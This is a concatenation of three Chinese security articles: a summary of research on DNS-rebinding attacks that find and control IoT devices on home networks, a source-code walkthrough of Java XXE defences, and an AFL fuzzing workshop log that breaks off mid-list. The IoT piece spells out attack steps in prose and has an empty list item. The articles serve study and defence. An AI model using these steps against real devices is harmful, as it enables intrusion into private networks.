Berkeley（加州大学伯克利分校）关于基于web的方式攻击物联网设备的研究，这些攻击会导致设备被黑客发现、攻击和接管。研究于2018年8月发表。
## 设备与黑客发现和攻击物联网设备的方法
研究人员的目标是测试15个物联网设备。这些设备中只有七台有本地HTTP服务器，所以研究的重点放在它们上，它们包括：Google
Chromecast、Google Home、一台智能电视、一个智能开关和三个摄像头。
使用的攻击方法是：
* 欺骗受害人，诱导他们访问攻击者控制的网站。
* 在受害者的本地网络上发现物联网设备。
* 通过基于web的攻击控制设备。
## 攻击的持续时间
从技术上讲，这不是新的攻击向量。研究报告引用了之前的研究，发现攻击者使用这些攻击向量平均需要一分钟才能获得结果。奇怪的是，一项著名的研究结果([What
You Think You Know About the Web is
Wrong](What%20You%20Think%20You%20Know%20About%20the%20Web%20is%20Wrong))显示，55%的用户花在网站上的时间不超过15秒。看来大多数用户不会受到物联网漏洞的影响。
但是在普林斯顿大学和加州大学伯克利分校的研究中，研究人员明显缩短了攻击的持续时间。研究人员表示使用他们发现的方法，可以比之前的研究更快地发现和访问本地网络中的设备。但是Chrome除外，因为它缓存DNS请求，如果TTL低于某个阈值，则忽略TTL。需要注意的是，隔离区(DMZ，防火墙内的内部网络)中的设备通常被认为是安全的，因为用户假设外部是无法访问这些设备的。但是，通过这里描述的攻击，攻击者可以访问受害者内部网络中的浏览器。
## 发现HTTP端点
研究人员通过将这些设备连接到Raspberry
Pi的无线接入点来分析这些设备。观察并分析了从设备发送和接收的数据包，以及与每个设备绑定的移动应用发送和接收的数据包。通过分析发现了35个GET请求端点和8个POST请求端点。这些端点用于识别发现阶段中的IP地址。
## 研究的阶段
研究人员通过两个不同的阶段进行研究，即发现阶段和接入阶段：
* 发现阶段的目标是在本地网络上找到浏览器上包含HTML5元素的物联网设备。
* 接入阶段的目标是使用DNS重绑定和已发现的IP地址访问HTTP端点。
### 发现阶段：识别物联网设备
* 使用WebRTC获取本地IP地址。
* 通过81端口向IP范围内的所有IP地址发送请求。由于81端口通常不被占用，活动设备将立即响应一个TCP RST数据包。而对于IP范围内的非活动设备，请求数据包将超时。
* 每个活动IP地址都接收到最初阶段使用HTML5为35个GET端点收集的请求。根据返回的错误消息信息，攻击脚本将识别IP地址是否与七个设备中的任意一个匹配。
研究计划使用三种不同的操作系统(Windows
10、MacOS和Ubuntu)和四种不同的浏览器(Chrome、Firefox、Safari、MicrosoftEdge)。然而只有Chrome和Firefox这两个浏览器适合这项研究。因此不使用Safari和Edge浏览器，因为根据([基于Web的方式对本地物联网设备的发现和控制的攻击](https://iot-inspector.princeton.edu/iot-sigcomm-18/SIGCOMM_IoT_S_P_2018__Redacted_.pdf))：
在Safari上，所有的FETCH请求都超时了，导致攻击脚本将所有IP地址识别为不活动。而在Edge浏览器上，脚本可以使用FETCH请求正确识别活动IP地址，但Edge没有公开详细的HTML5错误消息，所以攻击脚本无法识别Edge上的任何设备。
### 接入阶段：控制物联网设备
1. 受害者访问攻击者控制的域名(domain.tld)，浏览器执行在攻击者站点上找到的恶意JavaScript代码。域名仍然解析为攻击者的服务器IP。
2. 恶意脚本请求domain.tld上的另一个资源，该资源仅存在于攻击者服务器上。
3. 如果受害者的本地DNS缓存仍然解析为攻击者的远程IP，则对/hello.php的请求将返回字符串“hello”，并重复步骤2。
4. 但是如果受害者缓存中的domain.tld过期，则将向攻击者发送新的DNS查询。
5. 最后将返回从发现阶段中获得的本地IP，而不是攻击者的远程IP，/hello.php不会使用字符串“hello”进行响应，而是使用不同的内容，如404错误，它告诉恶意脚本DNS重绑定攻击已经成功。
通过这次攻击，恶意脚本绕过了浏览器同源策略（[Same-Origin
Policy](https://www.netsparker.com/blog/web-security/introducing-same-origin-policy-whitepaper/)），并获得了对运行在设备上的Web应用的访问权限。现在攻击者已经可以在Google Chromecast、Google
Home、智能电视和智能开关设备上执行重新启动或启动视频/音频文件。
## 如何防止针对物联网设备的DNS重绑定攻击
研究人员称，用户、浏览器厂商、物联网厂商和DNS提供商需要采取预防措施，以避免[DNS重绑定](https://blog.hacker.af/how-your-ethereum-can-be-stolen-using-dns-rebinding)攻击。以下是研究给出的一些措施：
1. 用户可以在浏览器上禁用WebRTC，并防止泄露私有IP。攻击者将能够通过向私有IP范围内的所有*.1地址(路由器地址)发送请求来发现用户的私有IP。
2. 攻击者假设所有物联网设备的IP范围与受害者的PC具有相同的IP范围。用户可以通过配置路由器的DHCP服务器，在另一个子网(如 /16)上分配IP地址。
3. 用户可以安装dnsmasq，通过从DNS响应中删除RFC 1918地址来防止DNS重绑定攻击。用户还可以使用dnsmasq的OpenWRT路由器。
4. 物联网厂商可以在发送到Web接口的请求中控制Host标头。如果没有符合[RFC 1918](https://tools.ietf.org/html/rfc1918)的私有IP，则可以阻止访问。
5. DNS提供商可以使用像dnswall这样的机制从DNS响应中筛选私有IP。
6. 浏览器厂商可以开发限制公网访问私有IP范围的扩展程序。
7.
## 更多资料
有关本文中讨论的普林斯顿大学和加州大学伯克利分校的研究的更多信息，请参见[基于Web的发现和控制本地物联网设备的攻击](https://iot-inspector.princeton.edu/iot-sigcomm-18/SIGCOMM_IoT_S_P_2018__Redacted_.pdf)。
要了解关于本地网络中应用和设备上基于Web的攻击向量的更多信息，请参见[开发者计算机上易受攻击的Web应用允许黑客绕过公司防火墙](https://www.netsparker.com/blog/web-security/vulnerable-web-applications-developers-target/)。
作者，NetspkerSecurity研究人员：Ziyahan Albeniz，Sven Morgenroth，Umran Yildirimkaya。 | 社区文章 |
# 前言
XXE的防御来说，实现方法千奇百怪（这里指的是那些基础库，像apache-poi这种解析excel的XXE，内部还是调用的那些基础库，修复方式当然只要升级对应版本即可）
Owasp的修复文档
<https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html>
主要方式都是`setFeature`的方式来设置几个`features`，而且设置的都是一些无规律和章法的url常量，对于一个初学XXE的人来说，想要知道其中的原理，学习成本可能要比单纯的了解XXE要复杂的多。
由于具体的XML解析实现类比较多，这里就只挑一两个来分析，比较幸运的是，他们的最底层都是调用的同一个处理XML的库，应该就是位于`com.sun.org.apache.xerces.internal`之下的代码。
以下的漏洞实例代码来自 <https://github.com/LeadroyaL/java-xxe-defense-demo>
# DocumentBuilderFactory
一个正常的可以被攻击的实例代码
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder builder = dbf.newDocumentBuilder();
builder.parse(ResourceUtils.getPoc1());
设置`XMLConstants.FEATURE_SECURE_PROCESSING`（常量的值也就是`http://javax.xml.XMLConstants/feature/secure-processing`）
FEATURE = XMLConstants.FEATURE_SECURE_PROCESSING;
dbf.setFeature(FEATURE, true);
可以看到
或者设置`http://apache.org/xml/features/disallow-doctype-decl`
FEATURE = "http://apache.org/xml/features/disallow-doctype-decl";
dbf.setFeature(FEATURE, true);
报错也换了一种方式
## secure-processing
可以先来跟一下这部分的处理逻辑，由于是对`DocumentBuilderFactory`这个`Factory`设置的feature，最后造成XXE的是工厂生成的`DocumentBuilder`，所以features变量肯定也会跟着进入`DocumentBuilder`中。
跟进`dbf.setFeature(FEATURE, true);`可以看到
if (features == null) {
features = new HashMap<>();
}
if (name.equals(XMLConstants.FEATURE_SECURE_PROCESSING)) {
if (System.getSecurityManager() != null && (!value)) {
throw new ParserConfigurationException(
SAXMessageFormatter.formatMessage(null,
"jaxp-secureprocessing-feature", null));
}
fSecureProcess = value;
features.put(name, value ? Boolean.TRUE : Boolean.FALSE);
return;
}
可以看到这里只是将设置的feature存到了成员变量features中，那主要的传递逻辑就应该在`newDocumentBuilder`中
可以看到生成的时候，`DocumentBuilderFactory`将自己的features等一些属性传入了`DocumentBuilder`的初始化列表中
return new DocumentBuilderImpl(this, attributes, features, fSecureProcess);
跟到`DocumentBuilderImpl`构造函数中，一开始时是对`domParser`进行了一系列的setFeature
domParser = new DOMParser();
domParser.setFeature(VALIDATION_FEATURE, dbf.isValidating());
// "namespaceAware" == SAX Namespaces feature
domParser.setFeature(NAMESPACES_FEATURE, dbf.isNamespaceAware());
// Set various parameters obtained from DocumentBuilderFactory
domParser.setFeature(INCLUDE_IGNORABLE_WHITESPACE,
!dbf.isIgnoringElementContentWhitespace());
domParser.setFeature(CREATE_ENTITY_REF_NODES_FEATURE,
!dbf.isExpandEntityReferences());
domParser.setFeature(INCLUDE_COMMENTS_FEATURE,
!dbf.isIgnoringComments());
domParser.setFeature(CREATE_CDATA_NODES_FEATURE,
!dbf.isCoalescing());
if (dbf.isXIncludeAware()) {
domParser.setFeature(XINCLUDE_FEATURE, true);
}
fSecurityPropertyMgr = new XMLSecurityPropertyManager();
domParser.setProperty(XML_SECURITY_PROPERTY_MANAGER, fSecurityPropertyMgr);
fSecurityManager = new XMLSecurityManager(secureProcessing);
domParser.setProperty(SECURITY_MANAGER, fSecurityManager);
跟到后面可以看到设置features的部分
if (secureProcessing) {
/**
* If secure processing is explicitly set on the factory, the
* access properties will be set unless the corresponding
* System Properties or jaxp.properties are set
*/
if (features != null) {
Boolean temp = features.get(XMLConstants.FEATURE_SECURE_PROCESSING);
if (temp != null) {
if (temp && Constants.IS_JDK8_OR_ABOVE) {
fSecurityPropertyMgr.setValue(Property.ACCESS_EXTERNAL_DTD,
State.FSP, Constants.EXTERNAL_ACCESS_DEFAULT_FSP);
fSecurityPropertyMgr.setValue(Property.ACCESS_EXTERNAL_SCHEMA,
State.FSP, Constants.EXTERNAL_ACCESS_DEFAULT_FSP);
}
}
}
}
...
setFeatures(features);
可以看到这里假如features中存在`XMLConstants.FEATURE_SECURE_PROCESSING`，就会将如下两个property设置为空
* `Property.ACCESS_EXTERNAL_DTD`
* `Property.ACCESS_EXTERNAL_SCHEMA`
然后后面的`setFeatures(features)`就是将features再依次存到`domParser`中
private void setFeatures( Map<String, Boolean> features)
throws SAXNotSupportedException, SAXNotRecognizedException {
if (features != null) {
for (Map.Entry<String, Boolean> entry : features.entrySet()) {
domParser.setFeature(entry.getKey(), entry.getValue());
}
}
}
到这里`DocumentBuilder`初始化就算完成了。之后就进入到`parse`的环节，在`com/sun/org/apache/xerces/internal/parsers/XML11Configuration.java:796`的`parse()`中
有一个比较需要注意的点，在真正的扫描节点之前，会有一个`resetCommon()`动作
在这里根据feature设置了很多`XMLEntityManager`中的参数`com/sun/org/apache/xerces/internal/impl/XMLEntityManager.java:1486`
// sax features
fValidation = componentManager.getFeature(VALIDATION, false);
fExternalGeneralEntities = componentManager.getFeature(EXTERNAL_GENERAL_ENTITIES, true);
fExternalParameterEntities = componentManager.getFeature(EXTERNAL_PARAMETER_ENTITIES, true);
// xerces features
fAllowJavaEncodings = componentManager.getFeature(ALLOW_JAVA_ENCODINGS, false);
fWarnDuplicateEntityDef = componentManager.getFeature(WARN_ON_DUPLICATE_ENTITYDEF, false);
fStrictURI = componentManager.getFeature(STANDARD_URI_CONFORMANT, false);
fLoadExternalDTD = componentManager.getFeature(LOAD_EXTERNAL_DTD, true);
// xerces properties
fSymbolTable = (SymbolTable)componentManager.getProperty(SYMBOL_TABLE);
fErrorReporter = (XMLErrorReporter)componentManager.getProperty(ERROR_REPORTER);
fEntityResolver = (XMLEntityResolver)componentManager.getProperty(ENTITY_RESOLVER, null);
fStaxEntityResolver = (StaxEntityResolverWrapper)componentManager.getProperty(STAX_ENTITY_RESOLVER, null);
fValidationManager = (ValidationManager)componentManager.getProperty(VALIDATION_MANAGER, null);
fSecurityManager = (XMLSecurityManager)componentManager.getProperty(SECURITY_MANAGER, null);
entityExpansionIndex = fSecurityManager.getIndex(Constants.JDK_ENTITY_EXPANSION_LIMIT);
//StAX Property
fSupportDTD = true;
fReplaceEntityReferences = true;
fSupportExternalEntities = true;
// JAXP 1.5 feature
XMLSecurityPropertyManager spm = (XMLSecurityPropertyManager) componentManager.getProperty(XML_SECURITY_PROPERTY_MANAGER, null);
if (spm == null) {
spm = new XMLSecurityPropertyManager();
}
fAccessExternalDTD = spm.getValue(XMLSecurityPropertyManager.Property.ACCESS_EXTERNAL_DTD);
其实可以看到蛮多和XXE相关的参数`fSupportDTD`、`fLoadExternalDTD`、`fSupportExternalEntities`、`fAccessExternalDTD`
之后就继续回到解析XML的部分`fCurrentScanner.scanDocument(complete)`
可以跟到`com/sun/org/apache/xerces/internal/impl/XMLDocumentFragmentScannerImpl.java:436`这里的`scanDocument`，具体扫描的过程先不深究，跟到`next()`中开始开始解析Entity的部分
代码比较多，只挑出一些比较重要的部分`com/sun/org/apache/xerces/internal/impl/XMLEntityManager.java:1116`
// should we skip external entities?
boolean external = entity.isExternal();
...
if (external) {
staxInputSource = resolveEntityAsPerStax(externalEntity.entityLocation);
/** xxx: Waiting from the EG
* //simply return if there was entity resolver registered and application
* //returns either XMLStreamReader or XMLEventReader.
* if(staxInputSource.hasXMLStreamOrXMLEventReader()) return ;
*/
xmlInputSource = staxInputSource.getXMLInputSource() ;
if (!fISCreatedByResolver) {
//let the not-LoadExternalDTD or not-SupportDTD process to handle the situation
if (fLoadExternalDTD) {
String accessError = SecuritySupport.checkAccess(expandedSystemId, fAccessExternalDTD, Constants.ACCESS_EXTERNAL_ALL);
if (accessError != null) {
fErrorReporter.reportError(this.getEntityScanner(),XMLMessageFormatter.XML_DOMAIN,
"AccessExternalEntity",
new Object[] { SecuritySupport.sanitizePath(expandedSystemId), accessError },
XMLErrorReporter.SEVERITY_FATAL_ERROR);
}
}
}
}
...
可以看到这里就是解析外部实体的部分。如果有外部实体解析的话，就需要经过`SecuritySupport.checkAccess`的判断
public static String checkAccess(String systemId, String allowedProtocols, String accessAny) throws IOException {
if (systemId == null || (allowedProtocols != null &&
allowedProtocols.equalsIgnoreCase(accessAny))) {
return null;
}
String protocol;
if (systemId.indexOf(":")==-1) {
protocol = "file";
} else {
URL url = new URL(systemId);
protocol = url.getProtocol();
if (protocol.equalsIgnoreCase("jar")) {
String path = url.getPath();
protocol = path.substring(0, path.indexOf(":"));
}
}
if (isProtocolAllowed(protocol, allowedProtocols)) {
//access allowed
return null;
} else {
return protocol;
}
}
可以看到`allowedProtocols`类似于一个白名单的参数，不在白名单内部的协议将被返回
动态调试可以看到，这里的`expandedSystemId`和`fAccessExternalDTD`分别是payload中的url，和空字符串
还记得之前`reset()`时候的一堆属性赋值么，其中就有`fAccessExternalDTD`
而且之前`DocumentBuilderImpl`初始化时设置的`XMLConstants.FEATURE_SECURE_PROCESSING`会在内部演变成两个属性的值为空
* `Property.ACCESS_EXTERNAL_DTD`
* `Property.ACCESS_EXTERNAL_SCHEMA`
也就是将这里安全检查时，允许的协议从`all`设置成了空，从而禁止解析外部实体。
这里的异常信息也正是设置了`XMLConstants.FEATURE_SECURE_PROCESSING`之后抛出的异常。
## disallow-doctype-decl
FEATURE = "http://apache.org/xml/features/disallow-doctype-decl"; // 开启可挡回显xxe和blind-xxe
dbf.setFeature(FEATURE, true);
这里前期`DocumentBuilderFactory`的内容也都是一致的，只是将feature值设存到工厂的features属性中
不过这里需要细跟一下`domParser`的`setFeature`部分
if (featureId.equals(USE_ENTITY_RESOLVER2)) {
if (state != fUseEntityResolver2) {
fUseEntityResolver2 = state;
// Refresh EntityResolver wrapper.
setEntityResolver(getEntityResolver());
}
return;
}
fConfiguration.setFeature(featureId, state);
这里最后对`XIncludeAwareParserConfiguration`设置feature，最后可以一直跟到`XMLDocumentScannerImpl`的setFeature
public void setFeature(String featureId, boolean state)
throws XMLConfigurationException {
super.setFeature(featureId, state);
// Xerces properties
if (featureId.startsWith(Constants.XERCES_FEATURE_PREFIX)) {
final int suffixLength = featureId.length() - Constants.XERCES_FEATURE_PREFIX.length();
if (suffixLength == Constants.LOAD_EXTERNAL_DTD_FEATURE.length() &&
featureId.endsWith(Constants.LOAD_EXTERNAL_DTD_FEATURE)) {
fLoadExternalDTD = state;
return;
}
else if (suffixLength == Constants.DISALLOW_DOCTYPE_DECL_FEATURE.length() &&
featureId.endsWith(Constants.DISALLOW_DOCTYPE_DECL_FEATURE)) {
fDisallowDoctype = state;
return;
}
}
}
后面的`Xerces properties`比较有意思，简而言之就是
设置了`http://apache.org/xml/features/nonvalidating/load-external-dtd`则设置`fLoadExternalDTD`为指定值（应该就是禁用DTD)
设置了`http://apache.org/xml/features/disallow-doctype-decl`则设置`fDisallowDoctype`为指定值（应该就是禁用Doctype）
到这里就应该差不多了，后面就是带入到`DocumentBuilder`的初始化过程中。
之后parse的过程类似，在`com/sun/org/apache/xerces/internal/impl/XMLDocumentScannerImpl.java:824`的next函数中，可以看到有一系列的case语句，应该是用来区分解析的XML位置的，在解析Doctype的`SCANNER_STATE_DOCTYPE`的case分支下可以看到
switch(fScannerState){
case SCANNER_STATE_COMMENT: {
...
}
case SCANNER_STATE_PI: {
...
}
case SCANNER_STATE_DOCTYPE: {
if (fDisallowDoctype) {
reportFatalError("DoctypeNotAllowed", null);
}
if (fSeenDoctypeDecl) {
reportFatalError("AlreadySeenDoctype", null);
}
fSeenDoctypeDecl = true;
// scanDoctypeDecl() sends XNI doctypeDecl event that
// in SAX is converted to startDTD() event.
if (scanDoctypeDecl(fSupportDTD)) {
...
}
可以看到这里在一开始的部分，就对之前设置过了的`fDisallowDoctype`进行判断，如果设为false的话，就抛出异常
## 其余的一些方式
其余的防御方式还有类似的
FEATURE = "http://xml.org/sax/features/external-parameter-entities";
dbf.setFeature(FEATURE, false);
FEATURE = "http://xml.org/sax/features/external-general-entities";
dbf.setFeature(FEATURE, false);
仔细看下之前`reset()`的代码
fExternalGeneralEntities = componentManager.getFeature(EXTERNAL_GENERAL_ENTITIES, true);
fExternalParameterEntities = componentManager.getFeature(EXTERNAL_PARAMETER_ENTITIES, true);
再搜一下这些参数在解析时候的作用，就差不多能知道具体的原理了`com/sun/org/apache/xerces/internal/impl/XMLEntityManager.java:1147`
if (unparsed || (general && !fExternalGeneralEntities) ||
(parameter && !fExternalParameterEntities) ||
!fSupportDTD || !fSupportExternalEntities) {
if (fEntityHandler != null) {
fResourceIdentifier.clear();
final String encoding = null;
fResourceIdentifier.setValues(
(externalEntity.entityLocation != null ? externalEntity.entityLocation.getPublicId() : null),
extLitSysId, extBaseSysId, expandedSystemId);
fEntityAugs.removeAllItems();
fEntityAugs.putItem(Constants.ENTITY_SKIPPED, Boolean.TRUE);
fEntityHandler.startEntity(entityName, fResourceIdentifier, encoding, fEntityAugs);
fEntityAugs.removeAllItems();
fEntityAugs.putItem(Constants.ENTITY_SKIPPED, Boolean.TRUE);
fEntityHandler.endEntity(entityName, fEntityAugs);
}
return;
}
... // 解析Doctype
可以看到在解析Doctype之前，就会对这些参数进行判断，如果设置了，最后就直接进入return逻辑，不会进入Doctype的解析。
所以在设置这两个参数之后，xml的解析不会抛出任何异常提示，只是单纯的不解析外部实体。
# XMLInputFactory
这个XML库是用流的方式解析的XML数据，前期处理的步骤有一些小差异
XMLInputFactory xmlInputFactory = XMLInputFactory.newFactory();
// "javax.xml.stream.supportDTD"
xmlInputFactory.setProperty(XMLInputFactory.SUPPORT_DTD, false);
// "javax.xml.stream.isSupportingExternalEntities"
xmlInputFactory.setProperty(XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, false);
XMLStreamReader parse = xmlInputFactory.createXMLStreamReader(ResourceUtils.getPoc1());
while (parse.hasNext()) {
parse.next();
}
一开始也是`setProperty`,将变量存在一个属性管理器中
public void setProperty(String name, Object value) throws IllegalArgumentException {
...
this.fPropertyManager.setProperty(name, value);
...
}
然后初始化`XMLStreamReader`来到`com/sun/org/apache/xerces/internal/impl/XMLStreamReaderImpl.java:181`
public XMLStreamReaderImpl(XMLInputSource inputSource, PropertyManager props) throws XMLStreamException {
init(props);
//pass the input source to document scanner impl.
setInputSource(inputSource);
}
重点关注下初始化props的地方，里面有个reset，可以一直跟进到`com/sun/org/apache/xerces/internal/impl/XMLEntityManager.java:1431`
发现又回到了XMLEntityManager的reset函数，但是这回是另外的一个重载函数(之前的是从`XMLComponentManager`进行reset)
public void reset(PropertyManager propertyManager){
// xerces properties
fSymbolTable = (SymbolTable)propertyManager.getProperty(Constants.XERCES_PROPERTY_PREFIX + Constants.SYMBOL_TABLE_PROPERTY);
fErrorReporter = (XMLErrorReporter)propertyManager.getProperty(Constants.XERCES_PROPERTY_PREFIX + Constants.ERROR_REPORTER_PROPERTY);
try {
fStaxEntityResolver = (StaxEntityResolverWrapper)propertyManager.getProperty(STAX_ENTITY_RESOLVER);
} catch (XMLConfigurationException e) {
fStaxEntityResolver = null;
}
fSupportDTD = ((Boolean)propertyManager.getProperty(XMLInputFactory.SUPPORT_DTD)).booleanValue();
fReplaceEntityReferences = ((Boolean)propertyManager.getProperty(XMLInputFactory.IS_REPLACING_ENTITY_REFERENCES)).booleanValue();
fSupportExternalEntities = ((Boolean)propertyManager.getProperty(XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES)).booleanValue();
// Zephyr feature ignore-external-dtd is the opposite of Xerces' load-external-dtd
fLoadExternalDTD = !((Boolean)propertyManager.getProperty(Constants.ZEPHYR_PROPERTY_PREFIX + Constants.IGNORE_EXTERNAL_DTD)).booleanValue();
// JAXP 1.5 feature
XMLSecurityPropertyManager spm = (XMLSecurityPropertyManager) propertyManager.getProperty(XML_SECURITY_PROPERTY_MANAGER);
fAccessExternalDTD = spm.getValue(XMLSecurityPropertyManager.Property.ACCESS_EXTERNAL_DTD);
fSecurityManager = (XMLSecurityManager)propertyManager.getProperty(SECURITY_MANAGER);
fLimitAnalyzer = new XMLLimitAnalyzer();
//reset fEntityStorage
fEntityStorage.reset(propertyManager);
//reset XMLEntityReaderImpl
fEntityScanner.reset(propertyManager);
// initialize state
//fStandalone = false;
fEntities.clear();
fEntityStack.removeAllElements();
fCurrentEntity = null;
fValidation = false;
fExternalGeneralEntities = true;
fExternalParameterEntities = true;
fAllowJavaEncodings = true ;
}
可以看到这三行对于`XMLInputFactory`参数的处理
fSupportDTD = ((Boolean)propertyManager.getProperty(XMLInputFactory.SUPPORT_DTD)).booleanValue();
fReplaceEntityReferences = ((Boolean)propertyManager.getProperty(XMLInputFactory.IS_REPLACING_ENTITY_REFERENCES)).booleanValue();
fSupportExternalEntities = ((Boolean)propertyManager.getProperty(XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES)).booleanValue();
设置完参数之后，就和之前差不多，来到之前跟过的XML解析的`scanEntityReference`部分。`com/sun/org/apache/xerces/internal/impl/XMLDocumentFragmentScannerImpl.java:1890`
//1. if the entity is external and support to external entities is not required
// 2. or entities should not be replaced
//3. or if it is built in entity reference.
boolean isEE = fEntityStore.isExternalEntity(name);
if((isEE && !fSupportExternalEntities) || (!isEE && !fReplaceEntityReferences) || foundBuiltInRefs){
fScannerState = SCANNER_STATE_REFERENCE;
return ;
}
// start general entity
if (!fEntityStore.isDeclaredEntity(name)) {
//SUPPORT_DTD=false && ReplaceEntityReferences should throw exception
if (!fSupportDTD && fReplaceEntityReferences) {
reportFatalError("EntityNotDeclared", new Object[]{name});
return;
}
//REVISIT: one more case needs to be included: external PE and standalone is no
if ( fHasExternalDTD && !fStandalone) {
if (fValidation)
fErrorReporter.reportError(fEntityScanner, XMLMessageFormatter.XML_DOMAIN,"EntityNotDeclared",
new Object[]{name}, XMLErrorReporter.SEVERITY_ERROR);
} else
reportFatalError("EntityNotDeclared", new Object[]{name});
}
可以看到这里对`fSupportExternalEntities`和`fSupportDTD`都进行了判断，抛出对应的异常。
# 一些总结
虽然只分析了两种XML解析的方式，但比较庆幸的是，其余几种XML的解析库，底层调用的都是`com.sun.org.apache.xerces.internal`中xml解析的代码，还算是有一定的共性。
（但个人感觉参数的设置其实还是相当冗余和混乱的，没有一个统一的规范，比如`XMLInputFactory`的参数就可以看出，在很多环节做了很多重复判断）
大致可以根据防御的属性和XMLEntityManager中的注释可以做以下的分类
1、sax features
// http://javax.xml.XMLConstants/feature/secure-processing
XMLConstants.FEATURE_SECURE_PROCESSING
// http://javax.xml.XMLConstants/property/accessExternalDTD
XMLConstants.ACCESS_EXTERNAL_DTD
// http://javax.xml.XMLConstants/property/accessExternalStylesheet
XMLConstants.ACCESS_EXTERNAL_STYLESHEET
// http://javax.xml.XMLConstants/property/accessExternalSchema
XMLConstants.ACCESS_EXTERNAL_SCHEMA
`FEATURE_SECURE_PROCESSING`相当于`ACCESS_EXTERNAL_DTD`和`ACCESS_EXTERNAL_SCHEMA`
将外部实体中允许的协议设为空，相当于允许外部实体的加载，但是禁用协议，只允许一些常量的定义
2、指定部位的解析
// sax features
// http://xml.org/sax/features/external-general-entities
fExternalGeneralEntities = componentManager.getFeature(EXTERNAL_GENERAL_ENTITIES, true);
// http://xml.org/sax/features/external-parameter-entities
fExternalParameterEntities = componentManager.getFeature(EXTERNAL_PARAMETER_ENTITIES, true);
// xerces features
// http://apache.org/xml/features/nonvalidating/load-external-dtd
fLoadExternalDTD = componentManager.getFeature(LOAD_EXTERNAL_DTD, true);
相当于设置XMl解析的时候，解析指定的部分，所以这种参数的设置之后也不会抛出异常
3、StAX Property
// javax.xml.stream.supportDTD
fSupportDTD = ((Boolean)propertyManager.getProperty(XMLInputFactory.SUPPORT_DTD)).booleanValue();
// javax.xml.stream.isSupportingExternalEntitie
fSupportExternalEntities = ((Boolean)propertyManager.getProperty(XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES)).booleanValue();
// javax.xml.stream.isReplacingEntityReferences
fReplaceEntityReferences = ((Boolean)propertyManager.getProperty(XMLInputFactory.IS_REPLACING_ENTITY_REFERENCES)).booleanValue();
感觉像是为XMLInput额外添加的属性，作用其实是和之前禁用的差不多，解析外部实体时会抛出异常。
4、disallow-doctype-decl
http://apache.org/xml/features/disallow-doctype-decl
相当于在scanner解析的时候，做了一个判断，设置了之后则禁止Doctype的解析
# 最后的最后
算是大致搞懂了设置feature中的原理，虽然没有完整的跟完每一个的流程，但是最后的解析xml库确实是同一个，那大致原理应该也就类似，之前每个库可能前期会做很多设置，一味的跟这一部分其实没有太多意义。
最后的感觉就是，这种feature的设置，感觉应该是前期设计的时候没有考虑到XXE这部分，后期对在原有基础上的修改，增加了很多的属性，和很多的if判断，弄得代码禁用的方式有些千奇百怪，没有一个统一的方式（当然只是我猜的）。而且没有文档的情况下，开发人员也很难知道要设置哪些值，分别对应那些限制。
感谢能看到最后，由于个人能力有限分析的过程中有些没讲清楚，或者错误的地方欢迎各位指出：） | 社区文章 |
# AFL-Training学习记录
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
最近发现一个AFL的学习资料：[https://github.com/mykter/afl-training。](https://github.com/mykter/afl-training%E3%80%82)
本文主要记录了我学习Fuzzing Workshop的过程，以及中间遇到的问题和思考。
希望能够对大家学习fuzzing或者AFL有所帮助。
这个workshop由几个challenge组成，这些challenge的目的是用AFL在开源软件里复现漏洞。漏洞主要包括下面几个，每个漏洞都有自己的特色。比如libxml是无状态的库，ntpq是网络服务类程序，date是因为环境变量导致的溢出。
（1）libxml: CVE-2015-8317
（2）openssl的心脏滴血: CVE-2014-0160
（3）ntpq:CVE-2009-0159
（4）sendmail : CVE-1999-0206, CVE-2003-0161
（5）date:CVE-2017-7476
（6）CGC的CROMU_00007
## 创建环境
这里采用docker方式创建学习环境。
首先，进入到仓库下的environment，基于dockerfile构建镜像。
docker build . -t fuzz-training
运行容器，需要使用—privileged选项，才可以使用一些脚本limit_memory或者gdb这些工具。
sudo docker run --privileged -ti --name=afl-train -e PASSMETHOD=env -e PASS=password ghcr.io/mykter/fuzz-training /bin/bash
运行该命令配置系统环境，这样afl启动的时候就不会出现echo core的提示了。
cd AFLplusplus
./afl-system-config
现在在docker里测试一下小程序。
对小程序源码编译，编译的时候顺便插桩一下。
cd quickstart
CC=afl-clang-fast AFL_HARDEN=1 make
测试一下编译的程序是否能够运行：
./vulnerable
输入回车后应该会出现下面的结果
Usage: ./vulnerable
Text utility - accepts commands and data on stdin and prints results to stdout.
Input | Output
------------------+----------------------- u <N> <string> | Uppercased version of the first <N> bytes of <string>.
head <N> <string> | The first <N> bytes of <string>.
用种子输入测试程序
./vulnerable < inputs/u
结果：
CAPSme
现在用fuzzer去测试
afl-fuzz -i inputs -o out ./vulnerable
执行完上面的命令后，应该出现的是下面的结果。
## Harness
这一章节主要是讲怎么写harness，来让afl测试代码片段。如果对afl如何将数据送到目标程序比较熟悉的话，可以跳过这一章节，直接看challenge。下面的图（来源该仓库的文档
[https://github.com/mykter/afl-training/tree/main/harness）](https://github.com/mykter/afl-training/tree/main/harness%EF%BC%89) 描述了AFL的模块关系。
input存放给定的初始种子输入，然后给afl进行fuzz。
queue用来存放触发了状态变换的测试样例，并且将测试样例送到afl去进行变异。
crashes存放触发crashes的输入。
最中心的afl-fuzz组件主要是产生输入的。一般是将测试样例进行添加，删除，变换若干个字符。产生的输入喂给右半部分的程序。程序将执行该输入的信息，比如覆盖率，反馈给afl-fuzz。要获取覆盖率这类信息，还需要afl-gcc，afl-clang-fast等编译器插桩来实现。
假设我们要测试library.c（如下）的代码，我们要如何测试呢？
void lib_echo(char *data, ssize_t len){
if(strlen(data) == 0) {
return;
}
char *buf = calloc(1, len);
strncpy(buf, data, len);
printf("%s",buf);
free(buf);
// A crash so we can tell the harness is working for lib_echo
if(data[0] == 'p') {
if(data[1] == 'o') {
if(data[2] =='p') {
if(data[3] == '!') {
assert(0);
}
}
}
}
}
int lib_mul(int x, int y){
if(x%2 == 0) {
return y << x;
} else if (y%2 == 0) {
return x << y;
} else if (x == 0) {
return 0;
} else if (y == 0) {
return 0;
} else {
return x * y;
}
}
教程告诉我们fuzz的准备工作有三：
（1）代码需要是可执行的。
（2）需要插桩，来让AFL高效地运行
